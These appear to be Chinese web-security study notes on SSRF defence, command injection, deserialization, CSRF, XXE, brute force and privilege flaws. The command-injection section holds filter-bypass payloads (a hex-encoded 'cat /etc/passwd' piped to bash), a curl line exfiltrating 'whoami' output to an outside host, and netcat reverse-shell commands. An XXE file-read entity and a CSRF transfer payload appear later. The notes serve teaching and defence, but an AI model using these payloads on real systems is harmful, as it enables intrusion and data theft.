Ⓐ Ⓑ Ⓒ Ⓓ Ⓔ Ⓕ Ⓖ Ⓗ Ⓘ Ⓙ Ⓚ Ⓛ Ⓜ Ⓝ Ⓞ Ⓟ Ⓠ Ⓡ Ⓢ Ⓣ Ⓤ Ⓥ Ⓦ Ⓧ Ⓨ Ⓩ
ⓐ ⓑ ⓒ ⓓ ⓔ ⓕ ⓖ ⓗ ⓘ ⓙ ⓚ ⓛ ⓜ ⓝ ⓞ ⓟ ⓠ ⓡ ⓢ ⓣ ⓤ ⓥ ⓦ ⓧ ⓨ ⓩ
⓪ ⓫ ⓬ ⓭ ⓮ ⓯ ⓰ ⓱ ⓲ ⓳ ⓴
⓵ ⓶ ⓷ ⓸ ⓹ ⓺ ⓻ ⓼ ⓽ ⓾ ⓿

漏洞防御

1)过滤192.168.0.0/10.0.0.0/172.16.0.0 localhost 私有地址、ipv6地址

2)过滤file:/// 、 dict:// 、gopher:// 、ftp://、 http:// https:// php:///危险schema

3)白名单过滤

4)对返回的内容进行识别

实战案例

./doc/11、SSRF攻击技术.docx

./doc/SSRF攻击.xmind

命令执行漏洞

漏洞介绍

命令执行漏洞是指服务器没有对执行的命令进行过滤,用户可以随意执行系统命令,命令执行漏洞属于高危漏洞之一。

如PHP的命令执行漏洞主要是基于一些函数的参数过滤不足导致,可以执行命令的函数有system( )、exec( )、shell_exec( )、passthru( )、pcntl_execl( )、popen( )、proc_open( )等,当攻击者可以控制这些函数中的参数时,就可以将恶意的系统命令拼接到正常命令中,从而造成命令执行攻击
PHP执行命令是继承WebServer用户的权限,这个用户一般都有权限向Web目录写文件,可见该漏洞的危害性相当大

漏洞原理

​ 应用程序有时需要调用一些执行系统命令的函数,如在PHP中,使用system、exec、shell_exec、passthru、popen、proc_popen等函数可以执行系统命令,当黑客能控制这些函数中的参数时,就可以将恶意的系统命令拼接到正常命令中,从而造成命令执行漏洞

漏洞危害

  • 继承Web服务器程序的权限,去执行系统命令或读写文件
  • 反弹shell
  • 控制整个网站,甚至控制整个服务器

漏洞产生的原因

  1. 没有对用户的输入进行过滤或者过滤不严格
  2. 系统漏洞造成的代码执行
  3. 调用第三方组件存在代码执行漏洞

可能存在漏洞的函数

利用系统函数实现远程命令执行的函数

常见出现漏洞的地方:

​ 只要带参数的地方都可能出现命令执行漏洞

​ 常见的路由器、防火墙、入侵检测、自动化运维平台

1
eval()、assert()、preg_replace()、call_user_func()

如果页面存在以上的函数并且对用户的输入没有做严格的过滤,就存在RCE命令执行漏洞,还有其他的函数

1
ob_start()、unserialize()、creat_function() 、usort()、uasort()、uksort()、 array_filter()、 array_reduce()、 array_map()

直接执行系统命令的函数

1
system(),exec(),shell_exec(),passthru(), pcntl_exec(), popen(), proc_open(),反引号

命令拼接符

命令拼接符是进行命令链接的基础,会使用命令拼接符才是利用命令执行漏洞的基础

Windows常用命令拼接符

image-20250309180405696

1
2
3
4
&:拼接符两边只要有一个真就会执行
&&:命令拼接符拼接多个命令时,会按照顺序执行,当遇到假的命令时会将终止执行。
|:命令拼接符拼接多个命令时,只要有一个为假,其余都不执行;如果遇到为真则都执行,但是执行回显最后一个指令的运行结果。
||:拼接多个指令时,按照顺序执行,执行完一个真的命令,则终止执行。

Linux的系统命令拼接符

第一个是”&”

​ ‘&’的作用是使命令在后台运行。只要在命令后面跟空格和&,就可以在后台运行命令,终止方法是kill -s 进程号

第二个是”;”

​ 就是分号,作用就是可以进行多条命令的无关联执行,每一条执行结果互不影响

第三个是”&&”

​ 左边成功运行再执行右边

第四个是”||“

 这个也跟windows一样,前面执行失败才执行后面

第五个是”()”

​ 如果想执行几个命令,则需要用命令分隔符分号隔开每个命令,并使用圆括号()把所有命令组合起来

绕过方式

编码绕过

如果命令注入的网站过滤了某些分隔符,可以将分隔符编码后(url编码,base等)绕过

八进制绕过

//ls命令,这个编码后可以拼接

$(printf “\154\163”)

十六进制字符绕过

echo “636174202F6574632F706173737764” | xxd -r -p|bash

在这里插入图片描述

空格过滤

Linux内置分隔符:${IFS},$IFS,$IFS$9

在这里插入图片描述

利用重定向符<>

在这里插入图片描述

关键词绕过

  • 通过拆分命令达到绕过的效果:a=1;b=s;\$a\$b

  • 空变量绕过:cat fl${x}ag cat tes$(z)t/flag

  • 控制环境变量绕过:

    先利用echo $PATH得到环境变量 => “/usr/local/….blablabla”
    接着利用echo${PATH}得到长度
    然后要哪个字符截取哪个字符就行
    ${PATH:0:1} => ‘/’
    ${PATH:1:1} => ‘u’
    ${PATH:0:4} => ‘/usr’

  • 空值绕过:cat fl""ag cat fl''ag cat "fl""ag"

  • 反斜杠绕过:ca\t flag l\s

在这里插入图片描述

空变量

$*和$@,$x(x 代表 1-9),${x}(x>=10):比如ca${21}t a.txt表示cat a.txt
在没有传入参数的情况下,这些特殊字符默认为空,如下:

  • wh$1oami
  • who$@ami
  • whoa$*mi

在这里插入图片描述

花括号的用法

在Linux bash中还可以使用{OS_COMMAND,ARGUMENT}来执行系统命令{cat,flag}

在这里插入图片描述

无回显的命令执行

可以通过curl命令将命令的结果输出到访问的url中:

1
2
curl www.rayi.vip/`whoami`

在服务器日志中可看到:xx.xx.xx.xx - - [12/Aug/2019:10:32:10 +0800] "GET /root HTTP/1.1" 404 146 "-" "curl/7.58.0",这样,命令的回显就能在日志中看到了

读文件命令

1
ls|bash|tac|nl|more|less|head|wget|tail|vi|cat|od|grep|sed|bzmore|bzless|pcre|paste|diff|file|echo|sort|cut|xxd

反弹shell

1
2
3
4
nc -L -p 9090-e cmd.exe (Windows)

nc -l -p 9090-e /bin/bash (*nix)

防范措施

1、各种框架、插件等位置都有可能出现命令执行,升级到新版本,多打补丁

2、关注行业最新安全动态,一旦爆发命令执行漏洞,迅速修复,避免造成更大影响

3、少用框架/CMS

4、可以过滤一些符号从而减少一些危险

5、安全配置好php相关参数

​ 通过Php配置文件里面有个disable_functions = 配置,这个禁止某些php函数, 服务器便是用这个来禁止php的执行命令函数。

6、升级中间件

7、严格控制传入变量,严禁使用魔法函数

反序列化漏洞

基础知识

序列化:把对象转换成字节序列的过程,即把对象转换为可以存储或传输的数据过程。

反序列化:八字节序列恢复成对象的过程,即把可以存储或传输的数据转化为对象的过程。

漏洞产生的原因

在身份验证,文件读写,数据传输等功能处,在未对反序列化接口做访问控制,未对序列化数据做加密和签名,加密密钥使用硬编码(如Shiro 1.2.4),使用不安全的反序列化框架库(如Fastjson 1.2.24)或函数的情况下,由于序列化数据可被用户控制,攻击者可以精心构造恶意的序列化数据(执行特定代码或命令的数据)传递给应用程序,在应用程序反序列化对象时执行攻击者构造的恶意代码,达到攻击者的目的

产生原理

serialize() 和 unserialize() 在 PHP内部实现上是没有漏洞的,之所以会产生反序列化漏洞是因为应用程序在处理对象、魔术函数以及序列化相关问题的时候导致的。 当传给 unserialize() 的参数可控时,那么用户就可以注入精心构造的 payload。当进行反序列化的时候就有可能会触发对象中的一些魔术方法,造成意想不到的危害。

防范措施

  1. 更新和修补: 更新应用程序和库到最新版本,修补已知的漏洞。
  2. 代码审计: 对代码进行安全审计,查找和修复潜在的反序列化问题。
  3. 使用安全配置: 使用安全配置选项来限制反序列化操作。

CSRF客户端伪造请求

漏洞介绍

CSRF:客户端请求伪造,是一种对恶意脚本的一种利用方式。

简单来说:就是受害者在登录状态下,且服务端没有进行token和refer校验,攻击者利用CSRF漏洞构造恶意的连接诱导客户者点击,以受害者信息执行特定的操作。

漏洞原理

在这里插入图片描述

攻击的本质

  1. 在CSRF攻击中,攻击者诱使用户的浏览器发起一个恶意请求,本质上是借助用户的凭证,以用户的身份去执行特定的操作。
  2. 在用户访问攻击者构造的恶意页面时,如果此时浏览器访问第三方站点带上了第三方的Cookie,那么第三方站点会认为这是一个已登录的用户的访问请求,浏览器就可顺利完成请求操作,因此该攻击方式叫做“跨站请求伪造”。
  3. 在整个攻击过程中,攻击者并没有拿到受害者的身份凭证,也拿不到操作后的返回结果(同源策略),攻击者只是诱使受害者发出了一个特定的请求。

漏洞分类

GET类型

GET类型的漏洞类似于XSS漏洞(只不过需要受害者在登陆状态)

仅需要构造HTTP请求,诱导用户在登陆状态下点击,即可构造CSRF攻击

简单示例:

银行站点A:它以GET请求来完毕银行转账的操作,如:

http://www.mybank.com/Transfer.php?toBankId=11&money=1000

攻击者构造:

<img src=http://www.mybank.com/Transfer.php?toBankId=113&money=1000>

首先。你登录了银行站点A,然后访问危险站点B,这时你会发现你的银行账户少了1000块。

POST类型

这样的错误观点形成的原因主要在于,大多数CSRF攻击发起时,使用的HTML标签都是<image>、<iframe>、<script>等带“src”属性的标签,这类标签只能够发起一次GET请求,而不能发起POST请求。

而对于很多网站的应用来说,一些重要操作并未严格地区分GET与POST,攻击者可以使用GET来请求表单的提交地址。比如在PHP中,如果使用的是$_REQUEST,而非$_POST获取变量,则会存在这个问题。

例如:

攻击者可以尝试构造一个GET请求

http: //host/register?username=test&password=passwd

若无法构造成功,可以通过Burp构造post类型的CSRF攻击:

漏洞挖掘

1、最简单的方法就是抓取一个正常请求的数据包,如果没有Referer字段和token,那么极有可能存在CSRF漏洞。

2、如果有Referer字段,但是去掉Referer字段后再重新提交,如果该提交还有效,那么基本上可以确定存在CSRF漏洞。

3、随着对CSRF漏洞研究的不断深入,不断涌现出一些专门针对CSRF漏洞进行检测的工具,如CSRFTester,CSRF Request Builder等。以CSRFTester工具为例,CSRF漏洞检测工具的测试原理如下:

使用CSRFTester进行测试时,首先需要抓取我们在浏览器中访问过的所有链接以及所有的表单等信息,然后通过在CSRFTester中修改相应的表单等信息,重新提交,这相当于一次伪造客户端请求。

如果修改后的测试请求成功被网站服务器接受,则说明存在CSRF漏洞,当然此款工具也可以被用来进行CSRF攻击。

漏洞防御

验证码

CSRF攻击的过程,往往是在用户不知情的情况下构造了网络请求。而验证码,则强制用户必须与应用进行交互,才能完成最终请求。因此在通常情况下,验证码能够很好地遏制CSRF攻击。

在请求地址中添加 token 并验证

可以在 HTTP 请求中以参数的形式加入一个随机产生的 token,并在服务器端建立一个拦截器来验证这token,如果请求中没有 token 或者 token 内容不正确,则认为可能是 CSRF 攻击而拒绝该请求。

验证 HTTP Referer 字段

Referer字段用来记录该HTTP请求的来源地址。

  • 验证referer通过———>合法请求
  • 验证referer不通过———>不合法请求

XXE漏洞

XXE介绍

XML被称为可扩展标记语⾔,与HTML类似,但是HTML中的标签都是预定义(预先定义好每个标签的作⽤)的,⽽XML语⾔中的标签都是⾃定义(可以⾃⼰定义标签的名称、属性、值、作⽤)的;HTML中的标签可以是单标

签,⽽XML中的标签必须是成对出现。

​ HTML语⾔主要⽤来展示内容,⽽XML语⾔⽤来传输数据。

XML语法

语法规则

1
2
3
4
5
6
7
8
9
10
XML语⾔严格区分⼤⼩写,⽽HTML语⾔不区分⼤⼩写;
XML语⾔只能有⼀个根标签;
HTML语⾔中的属性值可以不⽤引号引起来,但是XML语⾔中的属性值必须⽤引号引起来;
XML中的标签必须成对出现;
HTML:
<img 属性="属性的值">
XML:
<security></security>
XML会对特殊字符进⾏实体转义,需要转义的字符如下:
标签之间不能交叉编写;
image-20250312135416815

文档结构

​ XML文档有xml声明、DTD文档类型、文档元素三部分组成。

XML文档声明

1
2
<?xml version="1.0" ecoding="utf-8" ?> 
<!-- 声明部分可有可无,但是建议写上-->

DTD文档类型

DTD文档中的关键字
1
2
3
4
DOCTYPE(DTD的声明)
ENTITY(实体的声明)
ELEMENT(定义元素)
SYSTEM、PUBLIC(外部资源申请)

XML文档元素

1
2
3
4
5
6
7
8
9
<?xml version="1.0" encoding="urf-8" ?>
<!DOCTYPE security [
<?ELEMENT security (network,OS,websec,LAN)>]>
<security>
<network>1</network>
<OS>1</OS>
<websec>web</websec>
<LAN>lan</LAN>
</security>

DTD声明类型

内部声明

语法格式

1
<?DOCTYPE 根元素 [元素声明]>

案例如下

1
2
3
<!DOCTYPE security [
<!ELEMENT security (network,OS,websec,LAN)>
]>
外部声明

语法格式

1
<!DOCTYPE 根元素 SYSTEM "外部⽂件名">

案例如下

1
2
3
<!DOCTYPE ANY[
<!ENTITY xxe SYSTEM "file:///C:/windows/system.ini">
]>
实体声明

参数实体⽤“% 实体名称”声明,引⽤时也⽤“% 实体名称”;其余实体直接⽤实体名称声明,引⽤时⽤“&实体名称;”。参数实体只能在DTD中声明,DTD中引⽤;其余实体只能在DTD中声明,可以在XML⽂档中引⽤。所谓的实体就是预先定义好的数据或者数据的集合。

1
2
3
内部实体:<!ENTITY 实体名称 “实体的值”>
外部实体:<!ENTITY 实体名称 SYSTEM “URL”>
参数实体:<!ENTITY \% 实体名称 “实体的值”>或者<!ENTITY \% 实体名称 SYSTEM “URL” >

漏洞基础

1、漏洞形成原因

XXE被称为外部实体注⼊漏洞。XXE漏洞的形成主要是程序在解析XML⽂档输⼊时,没有禁⽌外部实体的加载,导致可加载外部的恶意⽂件,造成⽂件读取、命令执⾏、内⽹端⼝扫描、攻击内⽹⽹站。

2、支持的伪协议

image-20250312141105892

1
2
3
4
file:⽤来加载本地⽂件
http:⽤来加载远程⽂件
ftp:⽤来访问ftp服务器上的⽂件
php:⽤来读取php源码,php://filter

漏洞危害

  1. 探测内网端口
  2. 攻击内网网站
  3. 任意读取本地文件/远程读取文件
  4. 读取PHP源码

防御方法

1、经用是外部实体

1
2
3
4
5
6
PHP:libxml_disable_entity_loader(true);
java:DocumentBuilderFactory dbf =DocumentBuilderFactory.newInstance();
dbf.setExpandEntityReferences(false);
python:
rom lxml import etree
xmlData = etree.parse(xmlSource,etree.XMLParser(resolve_entities=False))

2、过滤

1
2
3
预定义字符转义:< &lt; > &gt; & &amp; ‘ &apos; “ &quot;
过滤⽤户提交的XML数据,关键词:SYSTEM和PUBLIC
禁⽤外部实体:libxml_disable_entity_loader(true);

暴力破解

漏洞介绍

暴力破解:实际上就是使用枚举方法,将密码逐个进行猜解,获取真正密码。

C/S架构破解

C/S即客户端/服务器,基于C/S架构的应用程序 如 ssh ftp sql-server mysql 等,这些服务往往提供一个高权限的用户,而这个高权限的用户往往可以进行执行命令的操作,如 sql-server 的 sa ,mysql的root,oracle的sys和system帐号,使用这些高权限的用户能在很大程度上给开发人员带来方便,但如果口令被破解带来的危害也是相当大的。

C/S架构主要使用的破解工具 Hydra、Bruter、X-scan

B/S架构破解

一般是对web应用程序中的高权限用户进行猜解,如网站的内容管理系统账户。一般针对 B/S的暴力猜解,使用Burp Suit 镜像表单爆破。

API接口暴力猜解参考 https://xz.aliyun.com/t/6330

破解方法

  • 基于表单的暴力破解

    直接使用暴力破解工具即可

  • 基于验证码的暴力破解

    • on client常见问题
      • 在前端进行验证码验证;不安全的将验证码泄露在cookie中;不安全的将验证码在前端源代码中泄露
    • on server常见问题
      • 验证码在后台不过期,导致长时间使用(php默认session时间为24分钟);验证码校验不严格,逻辑出现问题;验证码过于简单
    • 弱特证码识别攻击
  • 基于token破解

    由于token值输出在前端源代码中,容易被获取,因此也就失去了防暴力破解的意义,一般Token在防止CSRF上会有比较好的功效。

漏洞发现

查找漏洞前注意事项

  1. 首先需要一个有效的字典(如top10常用密码字典)
  2. 判断暴力破解的页面的密码复杂度
  3. 网站是否存在验证码
  4. 是否对登录行为有限制
  5. 是否有token,双因素等验证信息

登录页面可能产生的漏洞

image-20250315215838059

防范方法

  1. 强制要求输入验证码,否则,必须实施IP策略。 注意不要被X-Forwaded-For绕过了!
  2. 验证码只能用一次,用完立即过期!不能再次使用
  3. 验证码不要太弱。扭曲、变形、干扰线条、干扰背景色、变换字体等。
  4. 大网站最好统一安全验证码,各处使用同一个验证码接口。

越权与逻辑漏洞

越权

越权基础

如果使用A用户的权限去操作B用户的数据,A的权限小于B的权限,如果能够成功操作,则称为越权操作

形成原因:后台使用了不合理的权限校验规则导致的(没有验证session会话信息/验证权限)。

权限分类

平行越权:

​ A用户和B用户属于同一级别的用户,但各自不能操作对方的个人信息,A用户如果可以操作B用户的个人信息的情况称为水平越权。

​ 简而言之:可以对相同权限的用户进行操作。

​ 防御方法:可以使用session会话来进行校验是否为同一用户操作。

垂直越权:

​ A用户权限高于B用户,B用户越权操作A用户的权限的情况称为垂直越权。

​ 简而言之:对比自己权限高的用户进行操作。

​ 防御方法:对用户权限和身份信息进行校验。

越权发现

一般越权漏洞容易出现在权限页面(需要登录的页面)增、删、改、查的的地方,当用户对权限页面内的信息进行这些操作时,后台需要对当前用户的权限进行校验,看其是否具备操作的权限,从而给出响应,而如果校验的规则过于简单则容易出现越权漏洞。

逻辑漏洞

漏洞发现

支付逻辑漏洞思路小集合

image-20250316171220849

确定业务流程—>寻找流程中可以被操控的环节—>分析可被操控环节中可能产生的逻辑问题—>尝试修改参数触发逻辑问题